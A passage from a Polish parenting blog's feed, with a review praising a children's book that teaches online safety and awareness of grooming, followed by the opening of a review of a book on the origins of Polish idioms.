1747. <h2 class="wp-block-heading">Mistrzowie cyfrowej edukacji – duet Wojtasik-Łazowski</h2>
1748.  
1749.  
1750.  
1751. <p>Łukasz Wojtasik to pionier bezpieczeństwa w sieci dla dzieci w Polsce. Od ponad 20 lat zajmuje się bezpieczeństwem dzieci online i jako pierwszy w Polsce stworzył kampanię na rzecz bezpieczeństwa dzieci w sieci (2004). Jego doświadczenie jako eksperta związanego z Fundacją Dajemy Dzieciom Siłę nadaje tej serii wyjątkową autentyczność. Łukasz Wojtasik to nie tylko pisarz, ale przede wszystkim praktyk, który wie, jakie pułapki czyhają na młodych internautów w cyfrowym labiryncie.</p>
1752.  
1753.  
1754.  
1755. <p>Maciej Łazowski, grafik i ilustrator, swoimi czarno-białymi ilustracjami tworzy wizualny kod cyfrowego świata. Ilustracje rodem ze świata komputerów idealnie wpisują się w fabułę, nadając książce autentyczny klimat technologiczny, który przemawia do młodego, cyfrowego pokolenia.</p>
1756.  
1757.  
1758.  
1759. <figure class="wp-block-embed is-type-wp-embed is-provider-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki wp-block-embed-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki"><div class="wp-block-embed__wrapper">
1760. <blockquote class="wp-embedded-content" data-secret="0GVg350OVB"><a href="https://przystanekrodzinka.pl/sieciaki-jak-ochronic-najmlodszych-w-swiecie-online/">&#8220;Sieciaki&#8221; &#8211; jak ochronić najmłodszych w świecie online</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8222;&#8220;Sieciaki&#8221; &#8211; jak ochronić najmłodszych w świecie online&#8221; &#8212; Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki" src="https://przystanekrodzinka.pl/sieciaki-jak-ochronic-najmlodszych-w-swiecie-online/embed/#?secret=chFiGroTSN#?secret=0GVg350OVB" data-secret="0GVg350OVB" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
1761. </div></figure>
1762.  
1763.  
1764.  
1765. <p></p>
1766.  
1767.  
1768.  
1769. <h2 class="wp-block-heading">Tajemnica podejrzanej fotobudki – fabuła pełna cyfrowych zagadek</h2>
1770.  
1771.  
1772.  
1773. <p>Netka, Ajpi, Spociak i Kompel muszą rozwiązać zagadkę podejrzanej fotobudki i serii tajemniczych zdarzeń w centrum handlowym. Akcja czwartej części koncentruje się na temacie niebezpiecznych kontaktów online, wprowadzając młodych czytelników w świat zagrożeń związanych z groomingiem i manipulacją przez nieznane osoby w sieci.</p>
1774.  
1775.  
1776.  
1777. <p>Fabuła prezentuje realistyczne scenariusze: Lena marząca o przyjaźni z członkami zespołu &#8220;Banda&#8221;, Ola pragnąca wakacyjnej miłości i nawiązująca kontakt z nieznajomym chłopakiem czy Tosia przekonana, że rozmawia ze swoim wujkiem z Francji. Wszystkie te historie pokazują, jak sprawnie działają internetowi manipulatorzy, wykorzystując marzenia i potrzeby dzieci.</p>
1778.  
1779.  
1780.  
1781. <p>Centrum handlowe jako miejsce akcji to sprytny zabieg autorski – łączy świat realny z wirtualnym, pokazując, że zagrożenia internetowe mogą się materializować w rzeczywistości przez tajemniczą fotobudkę, która teleportuje ofiary do siedziby Sieciuchów.</p>
1782.  
1783.  
1784.  
1785. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e9756&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="797" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1-1024x797.jpg" alt="bezpieczenstwo dla dzieci w Internecie (1)" class="wp-image-85941" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1-1024x797.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1-300x234.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1-768x598.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1-1536x1196.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-1.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1786. class="lightbox-trigger"
1787. type="button"
1788. aria-haspopup="dialog"
1789. aria-label="Powiększ"
1790. data-wp-init="callbacks.initTriggerButton"
1791. data-wp-on-async--click="actions.showLightbox"
1792. data-wp-style--right="state.imageButtonRight"
1793. data-wp-style--top="state.imageButtonTop"
1794. >
1795. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1796. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1797. </svg>
1798. </button></figure>
1799.  
1800.  
1801.  
1802. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e99c1&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="768" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2-1024x768.jpg" alt="bezpieczenstwo dla dzieci w Internecie (2)" class="wp-image-85942" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1803. class="lightbox-trigger"
1804. type="button"
1805. aria-haspopup="dialog"
1806. aria-label="Powiększ"
1807. data-wp-init="callbacks.initTriggerButton"
1808. data-wp-on-async--click="actions.showLightbox"
1809. data-wp-style--right="state.imageButtonRight"
1810. data-wp-style--top="state.imageButtonTop"
1811. >
1812. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1813. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1814. </svg>
1815. </button></figure>
1816.  
1817.  
1818.  
1819. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e9be6&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="768" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3-1024x768.jpg" alt="bezpieczenstwo dla dzieci w Internecie (3)" class="wp-image-85943" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-3.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1820. class="lightbox-trigger"
1821. type="button"
1822. aria-haspopup="dialog"
1823. aria-label="Powiększ"
1824. data-wp-init="callbacks.initTriggerButton"
1825. data-wp-on-async--click="actions.showLightbox"
1826. data-wp-style--right="state.imageButtonRight"
1827. data-wp-style--top="state.imageButtonTop"
1828. >
1829. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1830. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1831. </svg>
1832. </button></figure>
1833.  
1834.  
1835.  
1836. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e9e22&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="768" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4-1024x768.jpg" alt="bezpieczenstwo dla dzieci w Internecie (4)" class="wp-image-85944" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/bezpieczenstwo-dla-dzieci-w-Internecie-4.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1837. class="lightbox-trigger"
1838. type="button"
1839. aria-haspopup="dialog"
1840. aria-label="Powiększ"
1841. data-wp-init="callbacks.initTriggerButton"
1842. data-wp-on-async--click="actions.showLightbox"
1843. data-wp-style--right="state.imageButtonRight"
1844. data-wp-style--top="state.imageButtonTop"
1845. >
1846. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1847. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1848. </svg>
1849. </button></figure>
1850.  
1851.  
1852.  
1853. <p></p>
1854.  
1855.  
1856.  
1857. <h2 class="wp-block-heading">Wartość edukacyjna – cyberbezpieczeństwo w literackiej odsłonie</h2>
1858.  
1859.  
1860.  
1861. <p>To właśnie temat cyberbezpieczeństwa czyni książki wyjątkowymi. Uczą ograniczonego zaufania do osób poznawanych w sieci i uważnego dysponowania prywatnymi informacjami. Autor nie straszy, lecz edukuje – pokazuje konkretne sytuacje, w których dzieci mogą się znaleźć, i podpowiada, jak należy reagować.</p>
1862.  
1863.  
1864.  
1865. <p>Książka wprowadza kluczowe pojęcie manipulacji internetowej, wyjaśniając dzieciom mechanizmy działania oszustów. Przez usta Czystego Zła autor pokazuje, jak działają internetowi predatorzy: &#8220;Będziemy manipulować. Będziemy udawać, że jesteśmy fajni, troskliwi. Będziemy mówić dzieciom, jakie są piękne i wyjątkowe. Będziemy je chwalić, obiecywać im, wypytywać o różne rzeczy, prosić o zdjęcia, umawiać się na spotkania (,,,)&#8221;.</p>
1866.  
1867.  
1868.  
1869. <p>Edukacja w zakresie bezpieczeństwa w sieci ze szczególnym uwzględnieniem problematyki niebezpiecznych kontaktów online oraz manipulacji i uwodzenia (grooming) sprawia, że książka dostarcza konkretnych narzędzi edukacyjnych, które można wykorzystać zarówno w domu, jak i w szkole.</p>
1870.  
1871.  
1872.  
1873. <div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><a href="https://przystanekrodzinka.pl/dlaczego-prywatnosc-w-internecie-jest-wazna-i-jak-nauczyc-dzieci-chronic-swoje-dane/" target="_blank" rel=" noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042-1024x576.jpg" alt="odcinek14.mp4 snapshot 00.07.042" class="wp-image-75856 size-full" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/06/odcinek14.mp4-snapshot-00.07.042.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure><div class="wp-block-media-text__content">
1874. <p>Warto podkreślić, że tematyka poruszana w książce doskonale koresponduje z aktualnymi wyzwaniami cyfrowego świata. Jak wykazuje nasz artykuł <a href="https://przystanekrodzinka.pl/dlaczego-prywatnosc-w-internecie-jest-wazna-i-jak-nauczyc-dzieci-chronic-swoje-dane/" target="_blank" rel="noreferrer noopener">&#8220;Dlaczego prywatność w Internecie jest ważna i jak nauczyć dzieci chronić swoje dane?&#8221;</a>, ochrona danych osobowych dzieci w sieci to nie przyszłościowe wyzwanie – to palący problem teraźniejszości. Cyberprzestępcy coraz częściej wykorzystują manipulację i grooming do wyłudzeń, kradzieży tożsamości czy szantażu. Dla pogłębienia wiedzy na temat prywatności cyfrowej polecamy także nasz podcast, w którym szczegółowo omawiamy zagrożenia dla najmłodszych użytkowników Internetu.</p>
1875. </div></div>
1876.  
1877.  
1878.  
1879. <figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
1880. <iframe title="Dlaczego prywatność w Internecie jest ważna i jak nauczyć dzieci chronić swoje dane?" width="1400" height="788" src="https://www.youtube.com/embed/fLS_0t53-pM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
1881. </div></figure>
1882.  
1883.  
1884.  
1885. <p></p>
1886.  
1887.  
1888.  
1889. <h2 class="wp-block-heading">Warstwa graficzna – minimalistyczna elegancja cyfrowego świata</h2>
1890.  
1891.  
1892.  
1893. <p>Czarno-białe ilustracje rodem ze świata komputerów idealnie wpisują się w fabułę, tak jak hasztagi zamiast numeracji rozdziałów. Ta minimalistyczna estetyka to nie przypadek – oddaje ducha cyfrowego świata, w którym żyją współczesne dzieci.</p>
1894.  
1895.  
1896.  
1897. <p>Wydanie nakładem <a href="https://przystanekrodzinka.pl/tag/muchomor/" target="_blank" rel="noreferrer noopener">Muchomor</a> charakteryzuje się solidnym wykonaniem, twarda okładka gwarantuje trwałość, a 72 strony to optymalna objętość dla młodego czytelnika. Książka dostępna jest również w formie audiobooka czytanego przez Maszę Bogucką, co dodatkowo zwiększa jej atrakcyjność dla młodych odbiorców.</p>
1898.  
1899.  
1900.  
1901. <h2 class="wp-block-heading">Przesłanie i wartość wychowawcza</h2>
1902.  
1903.  
1904.  
1905. <p>Najważniejszym przesłaniem książki jest zasada ograniczonego zaufania w sieci, wyrażona w tytule, bo &#8220;nigdy nie wiadomo kto jest po drugiej stronie&#8221;. Komisarz Ząbek w książce wyjaśnia dzieciom: &#8220;ktoś wykorzystuje informacje które zostawiacie w sieci oraz wasze potrzeby pragnienia i waszą ufność do tego, żeby was skrzywdzić&#8221;.</p>
1906.  
1907.  
1908.  
1909. <p>Autor nie demonizuje technologii, ale uczy świadomego z niej korzystania. Pokazuje, że nawet pozornie niewinne informacje – jak post Netki o Machu Picchu czy informacja o wyjściu klasy do kina – mogą być wykorzystane przez złośliwych użytkowników sieci.</p>
1910.  
1911.  
1912.  
1913. <h2 class="wp-block-heading">Cyfrowa tarcza dla nowego pokolenia</h2>
1914.  
1915.  
1916.  
1917. <p>Książka może inicjować rodzinne rozmowy o bezpieczeństwie w sieci. Może również posłużyć jako materiał edukacyjny w szkole. To najbardziej wartościowy aspekt tej publikacji – tworzy ona pomost między rodzicami a dziećmi w trudnych rozmowach o bezpieczeństwie w internecie dla dzieci.</p>
1918.  
1919.  
1920.  
1921. <p>W erze, gdy książki przez internet stają się coraz popularniejsze, seria Sieciaków pokazuje, jak literatura tradycyjna może skutecznie edukować o zagrożeniach cyfrowych. Seria napisana jest niezwykle lekkim językiem. Akcja wciąga bez reszty i fantastycznie wpasowuje się w dzisiejsze realia.</p>
1922.  
1923.  
1924.  
1925. <p>&#8220;Sieciaki. Kto jest po drugiej stronie?&#8221; to nie tylko książka – to cyfrowa tarcza dla nowego cyfrowego dzieciństwa. W świecie, gdzie wirtualne zagrożenia stają się coraz bardziej realne, ta publikacja stanowi nieocenione narzędzie edukacyjne, które powinno znaleźć się w każdym domu z dziećmi w wieku szkolnym. Wojtasik i Łazowski stworzyli dzieło, które może dosłownie uratować cyfrowe dzieciństwo przed internetowymi drapieżnikami.</p>
1926.  
1927.  
1928.  
1929. <p>Ocena: 5/5 – obowiązkowa lektura dla rodziców i dzieci w erze cyfryzacji.</p>
1930.  
1931.  
1932.  
1933. <script src="https://buybox.click/js/widget.min.js"></script>
1934. <span class="bb-widget" id="buybox-eqor" data-bb-id="21402" data-bb-oid="205983590"></span>
1935.  
1936.  
1937.  
1938. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1939.  
1940.  
1941.  
1942. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1943.  
1944.  
1945.  
1946. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1947. <p>Artykuł <a href="https://przystanekrodzinka.pl/cyfrowa-tarcza-najmlodszych-jak-sieciaki-kto-jest-po-drugiej-stronie-chroni-nowe-cyfrowe-dziecinstwo-przed-internetowymi-drapieznikami/">Cyfrowa tarcza najmłodszych – jak &#8220;Sieciaki. Kto jest po drugiej stronie?&#8221; chroni nowe cyfrowe dzieciństwo przed internetowymi drapieżnikami</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1948. ]]></content:encoded>
1952. </item>
1953. <item>
1954. <title>„Co ma piernik do wiatraka i inne językowe rozkminy&#8221; – wielka frazeologiczna podróż po polszczyźnie, która nie zostawi suchej nitki na językowych tajemnicach</title>
1955. <link>https://przystanekrodzinka.pl/co-ma-piernik-do-wiatraka-i-inne-jezykowe-rozkminy/</link>
1957. <dc:creator><![CDATA[adm1n]]></dc:creator>
1958. <pubDate>Fri, 31 Oct 2025 09:07:23 +0000</pubDate>
1959. <category><![CDATA[Książki]]></category>
1960. <category><![CDATA[co ma piernik do wiatraka]]></category>
1961. <category><![CDATA[ilustracja dla dzieci]]></category>
1962. <category><![CDATA[język polski]]></category>
1963. <category><![CDATA[Książki dla dzieci]]></category>
1964. <category><![CDATA[literatura dla dzieci]]></category>
1965. <category><![CDATA[rozwój języka]]></category>
1966. <category><![CDATA[Weronika Zych]]></category>
1967. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=84561</guid>
1968.  
1969. <description><![CDATA[<p>Czy wiesz, dlaczego mówimy, że ktoś ma "niebieskie migdały" albo że nie ma o czymś "zielonego pojęcia"? FireVerka w swojej debiutanckiej książce odkrywa tajemnice frazeologizmów, które używamy codziennie, nie mając bladego pojęcia o ich pochodzeniu. To nie kolejna nudna książka o języku – to prawdziwa przygoda z polszczyzną!</p>
1970. <p>Artykuł <a href="https://przystanekrodzinka.pl/co-ma-piernik-do-wiatraka-i-inne-jezykowe-rozkminy/">„Co ma piernik do wiatraka i inne językowe rozkminy&#8221; – wielka frazeologiczna podróż po polszczyźnie, która nie zostawi suchej nitki na językowych tajemnicach</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1971. ]]></description>
1972. <content:encoded><![CDATA[
1973. <p class="has-ast-global-color-6-background-color has-background">Słowa potrafią czasem wcisnąć nas w kanciapę tak mocno, że zostajemy z nimi jak pies z kotem na uwięzi. Właśnie dlatego książka „Co ma piernik do wiatraka i inne językowe rozkminy&#8221; Weroniki Zych, znanej jako FireVerka, trafia w sedno! W czasach, gdy komunikacja sprowadza się często do emotikonów i skrótów, autorka przypomina nam, że polski język to prawdziwa skarbnica wyrażeń, które mają swoje historie – czasem zaskakujące, innym razem zabawne, a nierzadko po prostu absurdalne.</p>
1974.  
1975.  
1976.  
1977. <p>Ta książka nie jest kolejną pozycją, która nie chce nas rozliczać z każdego błędu językowego. To raczej zaproszenie do językowej przygody, gdzie każde powiedzenie ma swój koloryt, a każdy frazeologizm kryje w sobie kawałek naszej historii. Czy rzeczywiście wiemy, co piernik ma wspólnego z wiatrakiem? Okazuje się, że więcej niż mogłoby się wydawać!</p>
1978.  
1979.  
1980.  
1981. <hr class="wp-block-separator has-alpha-channel-opacity"/>
1982.  
1983.  
1984.  
1985. <h2 class="wp-block-heading">FireVerka – autorka, która nie trzyma języka za zębami i nie boi się go używać</h2>
1986.  
1987.  
1988.  
1989. <p>Weronika Zych, popularnie znana jako FireVerka, to fenomen polskich mediów społecznościowych. Influencerka od języka polskiego, która z wykształcenia jest filolożką, a z pasji – prawdziwą odkrywczynią językowych osobliwości. </p>
1990.  
1991.  
1992.  
1993. <p>FireVerka pokazuje język nie jako zbiór nudnych zasad do zakuwania, ale jako żywą, rozwijającą się przygodę, która dzieje się tu i teraz – w memach, żartach i codziennych rozmowach. Jej podejście do popularyzacji języka polskiego jest świeże, nowatorskie i – co najważniejsze – skuteczne. Udowadnia, że można być poważnym filologiem i jednocześnie nie brać siebie zbyt serio.</p>
1994.  
1995.  
1996.  
1997. <p>Autorka nie boi się pokazać absurdów naszego języka, a wręcz przeciwnie – czerpie z nich garściami, tworząc treści, które są równocześnie edukacyjne i rozrywkowe. To rzadka umiejętność w świecie popularyzatorów nauki.</p>
1998.  
1999.  
2000.  
2001. <hr class="wp-block-separator has-alpha-channel-opacity"/>
2002.  
2003.  
2004.  
2005. <h2 class="wp-block-heading">Od pustych słów do pełnych garści mądrości</h2>
2006.  
2007.  
2008.  
2009. <p>„Co ma piernik do wiatraka i inne językowe rozkminy&#8221; to pozycja  pełnych językowych niespodzianek. Książka została wydana nakładem wydawnictwa<a href="https://przystanekrodzinka.pl/tag/znak-emotikon/" target="_blank" rel="noreferrer noopener"> Znak Emotikon</a> i już na starcie zyskała uznanie eksperta – Michał Rusinek określił ją jako &#8220;arcyciekawą&#8221;.</p>
2010.  
2011.  
2012.  
2013. <p>FireVerka prowadzi czytelnika przez labirynt polskich frazeologizmów z prawdziwą lekkośćią. Każde wyrażenie zostało dokładnie przeanalizowane nie tylko pod kątem etymologii, ale także współczesnego użycia. Autorka nie ogranicza się do suchych faktów – każdy rozdział to mini-opowieść o tym, jak nasze powiedzenia powstawały, ewoluowały i znajdowały swoje miejsce w codziennej mowie.</p>
2014.  
2015.  
2016.  
2017. <p>Struktura książki jest przemyślana i logiczna. Autorka grupuje wyrażenia tematycznie, co pozwala na lepsze zrozumienie kontekstu kulturowego i historycznego. Czytelnik odkrywa nie tylko skąd wzięły się konkretne zwroty, ale także dlaczego akurat te, a nie inne, przetrwały próbę czasu.</p>
2018.  
2019.  
2020.  
2021. <p>Szczególnie fascynujące są rozdziały poświęcone wyrażeniom kolorystycznym – dlaczego mówimy o &#8220;zielonym pojęciu&#8221; a nie żółtym czy czerwonym? Odpowiedzi często zaskakują i pokazują, jak bardzo skomplikowana może być droga, jaką przebywa język przez stulecia.</p>
2022.  
2023.  
2024.  
2025. <hr class="wp-block-separator has-alpha-channel-opacity"/>
2026.  
2027.  
2028.  
2029. <h2 class="wp-block-heading">Język jako żywy organizm</h2>
2030.  
2031.  
2032.  
2033. <p>Największą zaletą książki FireVerki jest jej podejście do języka jako czegoś żywego, rozwijającego się i nieustannie zmieniającego. Autorka nie traktuje frazeologizmów jako skostniałych reliktów przeszłości, ale jako żywe świadectwa naszej kultury i mentalności.</p>
2034.  
2035.  
2036.  
2037. <p>Książka przekonuje, że znajomość etymologii wyrażeń, których używamy, nie jest tylko ciekawostką dla maniaków językowych. To klucz do lepszego rozumienia samych siebie i naszej kultury. Każde powiedzenie nosi w sobie ładunek historyczny – od średniowiecznych realiów przez wydarzenia społeczne po współczesne przemiany.</p>
2038.  
2039.  
2040.  
